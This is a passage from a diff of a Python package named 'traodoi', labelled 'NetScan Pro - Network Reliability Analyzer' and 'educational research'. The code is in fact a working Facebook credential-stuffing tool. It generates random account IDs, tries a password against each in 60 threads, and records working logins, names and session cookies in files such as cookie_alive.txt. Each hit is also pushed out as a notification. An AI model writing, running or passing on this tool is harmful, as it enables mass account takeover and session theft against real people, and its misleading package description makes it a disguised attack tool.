open(f"{status.lower()}.txt", 'a').write(f"{entity}|{test_val}\n")
|
|
393
|
+
break
|
|
394
|
+
elif 'www.facebook.com' in res.get('error',{}).get('message',''):
|
|
395
|
+
status, cookie, name = analyze_and_extract(str(entity), test_val)
|
|
396
|
+
with lock:
|
|
397
|
+
if status == 'ACTIVE':
|
|
398
|
+
alive_marker += 1
|
|
399
|
+
with open('cookie_alive.txt','a') as f: f.write(f"ID: {entity}\nName: {name}\nCookie: {cookie}\n---\n")
|
|
400
|
+
open('alive.txt','a').write(f"{entity}|{test_val}\n")
|
|
401
|
+
send_notification(f"✅ ACTIVE\nID: {entity}\nKey: {test_val}\nName: {name}")
|
|
402
|
+
elif status == 'NEEDS_2FA':
|
|
403
|
+
twofa_marker += 1
|
|
404
|
+
send_notification(f"⚠️ 2FA\nID: {entity}\nKey: {test_val}")
|
|
405
|
+
elif status == 'INVALID_CRED': dead_marker += 1
|
|
406
|
+
elif status == 'TEMP_BLOCK': temp_block_marker += 1
|
|
407
|
+
elif status == 'UNVERIFIED_EMAIL': unverified_email_marker += 1
|
|
408
|
+
elif status == 'UNVERIFIED_PHONE': unverified_phone_marker += 1
|
|
409
|
+
elif status in ('DISABLED','LOCKED','RATE_LIMITED'): temp_block_marker += 1
|
|
410
|
+
else: unknown_marker += 1
|
|
411
|
+
failure_list.append(entity); stats["cps"] = len(failure_list)
|
|
412
|
+
console.print(f"[yellow]BLOCKED {status}[/yellow] {entity}|{test_val}")
|
|
413
|
+
open(f"{status.lower()}.txt", 'a').write(f"{entity}|{test_val}\n")
|
|
414
|
+
break
|
|
415
|
+
except:
|
|
416
|
+
continue
|
|
417
|
+
with lock:
|
|
418
|
+
stats["loop"] += 1
|
|
419
|
+
last_processed_id = str(entity)
|
|
420
|
+
|
|
421
|
+
# ---- Batch controllers ----
|
|
422
|
+
def run_legacy_range():
|
|
423
|
+
global alive_marker, twofa_marker, dead_marker, temp_block_marker, unknown_marker, unverified_email_marker, unverified_phone_marker, last_processed_id
|
|
424
|
+
clear_display()
|
|
425
|
+
show_logo()
|
|
426
|
+
console.print("[cyan]Batch: Legacy IDs (2005-2014)[/cyan]")
|
|
427
|
+
limit = int(Prompt.ask("[yellow]Number of test IDs[/yellow]", default="300"))
|
|
428
|
+
ids = []
|
|
429
|
+
for _ in range(int(limit * 0.1)):
|
|
430
|
+
ids.append(''.join(random.choices('0123456789', k=random.choice([6,7,8,9,10]))))
|
|
431
|
+
for _ in range(int(limit * 0.2)):
|
|
432
|
+
prefix = random.choice(['100000','1000001','1000002','1000003','1000004','1000005','1000006','1000007','1000008','1000009'])
|
|
433
|
+
ids.append(prefix + ''.join(random.choices('0123456789', k=9)))
|
|
434
|
+
for _ in range(int(limit * 0.7)):
|
|
435
|
+
prefix = random.choice(['100001','100002','100003','100004','100005','100006','100007','100008'])
|
|
436
|
+
ids.append(prefix + ''.join(random.choices('0123456789', k=9)))
|
|
437
|
+
console.print("\n[bold magenta]Probe Mode:[/bold magenta] A=Fast B=Precise C=Hybrid")
|
|
438
|
+
mode = Prompt.ask("[cyan]Choose A/B/C[/cyan]", choices=["A","B","C"], default="C")
|
|
439
|
+
stats = {"loop":0,"oks":0,"cps":0}
|
|
440
|
+
layout = Layout()
|
|
441
|
+
layout.split(Layout(name="header", size=3), Layout(name="status", size=6), Layout(name="footer", size=3))
|
|
442
|
+
with Live(layout, refresh_per_second=10, screen=True) as live:
|
|
443
|
+
layout["header"].update(Panel("[bold cyan]NetScan - Running Batch[/bold cyan]", style="cyan"))
|
|
444
|
+
def update():
|
|
445
|
+
p = stats['loop']
|
|
446
|
+
ok = stats['oks']
|
|
447
|
+
cp = stats['cps']
|
|
448
|
+
with last_id_lock:
|
|
449
|
+
cur = last_processed_id if last_processed_id else "..."
|
|
450
|
+
layout["status"].update(Panel(f"[bold cyan]Progress: {p} | OK:{ok} | BLOCK:{cp}[/bold cyan]\nLast: {cur}\nACTIVE:{alive_marker} 2FA:{twofa_marker} INVALID:{dead_marker}\nUNV_EMAIL:{unverified_email_marker} UNV_PHONE:{unverified_phone_marker}", title="STATUS", border_style="cyan"))
|
|
451
|
+
update()
|
|
452
|
+
with tred(max_workers=60) as pool:
|
|
453
|
+
futures = []
|
|
454
|
+
for eid in ids:
|
|
455
|
+
if mode == 'A':
|
|
456
|
+
fut = pool.submit(probe_method_a, eid, stats)
|
|
457
|
+
elif mode == 'B':
|
|
458
|
+
fut = pool.submit(probe_method_b, eid, stats)
|
|
459
|
+
else:
|
|
460
|
+
fut = pool.submit(probe_method_c, eid, stats)
|
|
461
|
+
futures.append(fut)
|
|
462
|
+
with last_id_lock:
|
|
463
|
+
last_processed_id = str(eid)
|
|
464
|
+
update()
|
|
465
|
+
live.refresh()
|
|
466
|
+
time.sleep(0.05)
|
|
467
|
+
for fut in futures:
|
|
468
|
+
fut.result()
|
|
469
|
+
update()
|
|
470
|
+
live.refresh()
|
|
471
|
+
console.print(f"\n[green]Batch completed! ACTIVE:{alive_marker} 2FA:{twofa_marker} INVALID:{dead_marker} UNV_EMAIL:{unverified_email_marker} UNV_PHONE:{unverified_phone_marker}[/green]")
|
|
472
|
+
input("[cyan]Press Enter...[/cyan]")
|
|
473
|
+
|
|
474
|
+
def run_series_100003():
|
|
475
|
+
global alive_marker, twofa_marker, dead_marker, temp_block_marker, unknown_marker, unverified_email_marker, unverified_phone_marker, last_processed_id
|
|
476
|
+
clear_display()
|
|
477
|
+
show_logo()
|
|
478
|
+
console.print("[cyan]Batch: Series 100003/100004[/cyan]")
|
|
479
|
+
limit = int(Prompt.ask("[yellow]Number of test IDs[/yellow]", default="300"))
|
|
480
|
+
ids = [random.choice(['100003','100004']) + ''.join(random.choices('0123456789', k=9)) for _ in range(limit)]
|
|
481
|
+
console.print("\n[bold magenta]Probe Mode:[/bold magenta] A=Fast B=Precise C=Hybrid")
|
|
482
|
+
mode = Prompt.ask("[cyan]Choose A/B/C[/cyan]", choices=["A","B","C"], default="C")
|
|
483
|
+
stats = {"loop":0,"oks":0,"cps":0}
|
|
484
|
+
layout = Layout()
|
|
485
|
+
layout.split(Layout(name="header",size=3),Layout(name="status",size=6),Layout(name="footer",size=3))
|
|
486
|
+
with Live(layout, refresh_per_second=10, screen=True) as live:
|
|
487
|
+
layout["header"].update(Panel("[bold cyan]NetScan - Series 100003/100004[/bold cyan]", style="cyan"))
|
|
488
|
+
def update():
|
|
489
|
+
p = stats['loop']; ok = stats['oks']; cp = stats['cps']
|
|
490
|
+
with last_id_lock:
|
|
491
|
+
cur = last_processed_id if last_processed_id else "..."
|
|
492
|
+
layout["status"].update(Panel(f"[bold cyan]Progress: {p} | OK:{ok} | BLOCK:{cp}[/bold cyan]\nLast: {cur}\nACTIVE:{alive_marker} 2FA:{twofa_marker} INVALID:{dead_marker}", title="STATUS", border_style="cyan"))
|
|
493
|
+
update()
|
|
494
|
+
with tred(max_workers=60) as pool:
|
|
495
|
+
futures = []
|
|
496
|
+
for eid in ids:
|
|
497
|
+
if mode == 'A':
|
|
498
|
+
fut = pool.submit(probe_method_a, eid, stats)
|
|
499
|
+
elif mode == 'B':
|
|
500
|
+
fut = pool.submit(probe_method_b, eid, stats)
|
|
501
|
+
else:
|
|
502
|
+
fut = pool.submit(probe_method_c, eid, stats)
|
|
503
|
+
futures.append(fut)
|
|
504
|
+
with last_id_lock:
|
|
505
|
+
last_processed_id = str(eid)
|
|
506
|
+
update(); live.refresh(); time.sleep(0.05)
|
|
507
|
+
for fut in futures:
|
|
508
|
+
fut.result(); update(); live.refresh()
|
|
509
|
+
console.print(f"\n[green]Batch completed! ACTIVE:{alive_marker} 2FA:{twofa_marker} INVALID:{dead_marker}[/green]")
|
|
510
|
+
input("[cyan]Press Enter...[/cyan]")
|
|
511
|
+
|
|
512
|
+
def run_series_2009():
|
|
513
|
+
global alive_marker, twofa_marker, dead_marker, temp_block_marker, unknown_marker, unverified_email_marker, unverified_phone_marker, last_processed_id
|
|
514
|
+
clear_display()
|
|
515
|
+
show_logo()
|
|
516
|
+
console.print("[cyan]Batch: Series 2009 (1000004xxxx)[/cyan]")
|
|
517
|
+
limit = int(Prompt.ask("[yellow]Number of test IDs[/yellow]", default="300"))
|
|
518
|
+
ids = ['1000004' + ''.join(random.choices('0123456789', k=8)) for _ in range(limit)]
|
|
519
|
+
console.print("\n[bold magenta]Probe Mode:[/bold magenta] A=Fast B=Precise C=Hybrid")
|
|
520
|
+
mode = Prompt.ask("[cyan]Choose A/B/C[/cyan]", choices=["A","B","C"], default="C")
|
|
521
|
+
stats = {"loop":0,"oks":0,"cps":0}
|
|
522
|
+
layout = Layout()
|
|
523
|
+
layout.split(Layout(name="header",size=3),Layout(name="status",size=6),Layout(name="footer",size=3))
|
|
524
|
+
with Live(layout, refresh_per_second=10, screen=True) as live:
|
|
525
|
+
layout["header"].update(Panel("[bold cyan]NetScan - Series 2009[/bold cyan]", style="cyan"))
|
|
526
|
+
def update():
|
|
527
|
+
p = stats['loop']; ok = stats['oks']; cp = stats['cps']
|
|
528
|
+
with last_id_lock:
|
|
529
|
+
cur = last_processed_id if last_processed_id else "..."
|
|
530
|
+
layout["status"].update(Panel(f"[bold cyan]Progress: {p} | OK:{ok} | BLOCK:{cp}[/bold cyan]\nLast: {cur}\nACTIVE:{alive_marker} 2FA:{twofa_marker} INVALID:{dead_marker}", title="STATUS", border_style="cyan"))
|
|
531
|
+
update()
|
|
532
|
+
with tred(max_workers=60) as pool:
|
|
533
|
+
futures = []
|
|
534
|
+
for eid in ids:
|
|
535
|
+
if mode == 'A':
|
|
536
|
+
fut = pool.submit(probe_method_a, eid, stats)
|
|
537
|
+
elif mode == 'B':
|
|
538
|
+
fut = pool.submit(probe_method_b, eid, stats)
|
|
539
|
+
else:
|
|
540
|
+
fut = pool.submit(probe_method_c, eid, stats)
|
|
541
|
+
futures.append(fut)
|
|
542
|
+
with last_id_lock:
|
|
543
|
+
last_processed_id = str(eid)
|
|
544
|
+
update(); live.refresh(); time.sleep(0.05)
|
|
545
|
+
for fut in futures:
|
|
546
|
+
fut.result(); update(); live.refresh()
|
|
547
|
+
console.print(f"\n[green]Batch completed! ACTIVE:{alive_marker} 2FA:{twofa_marker} INVALID:{dead_marker}[/green]")
|
|
548
|
+
input("[cyan]Press Enter...[/cyan]")
|
|
549
|
+
|
|
550
|
+
def main():
|
|
551
|
+
while True:
|
|
552
|
+
choice = show_main_panel()
|
|
553
|
+
if choice == "1":
|
|
554
|
+
sub = mode_selection()
|
|
555
|
+
if sub == "1":
|
|
556
|
+
run_legacy_range()
|
|
557
|
+
elif sub == "2":
|
|
558
|
+
run_series_100003()
|
|
559
|
+
elif sub == "3":
|
|
560
|
+
run_series_2009()
|
|
561
|
+
else:
|
|
562
|
+
continue
|
|
563
|
+
elif choice == "2":
|
|
564
|
+
show_summary()
|
|
565
|
+
else:
|
|
566
|
+
console.print("[bold red]Exiting.[/bold red]")
|
|
567
|
+
sys.exit(0)
|
|
568
|
+
|
|
569
|
+
if __name__ == "__main__":
|
|
570
|
+
clear_display()
|
|
571
|
+
show_logo()
|
|
572
|
+
console.print("[bold green]═══════════════════════════════════════════[/bold green]")
|
|
573
|
+
console.print("[bold purple] NetScan Pro - Network Reliability Analyzer[/bold purple]")
|
|
574
|
+
console.print("[bold green]═══════════════════════════════════════════[/bold green]")
|
|
575
|
+
time.sleep(1.5)
|
|
576
|
+
main()
|
traodoi-1.0.0/setup.cfg
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: traodoi
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Advanced web data processing and response analyzer for educational research
|
|
5
|
+
Author-email: Research Team <research@example.com>
|
|
6
|
+
License: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/yoores
|
|
8
|
+
Requires-Python: >=3.8
|
|
9
|
+
Description-Content-Type: text/markdown
|
|
10
|
+
Requires-Dist: requests
|
|
11
|
+
Requires-Dist: beautifulsoup4
|
|
12
|
+
Requires-Dist: rich
|
|
13
|
+
Requires-Dist: urllib3
|
|
14
|
+
Requires-Dist: cryptography
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
README.md
|
|
2
|
+
pyproject.toml
|
|
3
|
+
scr/traosub/__init__.py
|
|
4
|
+
scr/traosub/core.py
|
|
5
|
+
traodoi.egg-info/PKG-INFO
|
|
6
|
+
traodoi.egg-info/SOURCES.txt
|
|
7
|
+
traodoi.egg-info/dependency_links.txt
|
|
8
|
+
traodoi.egg-info/entry_points.txt
|
|
9
|
+
traodoi.egg-info/requires.txt
|
|
10
|
+
traodoi.egg-info/top_level.txt
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
scr
|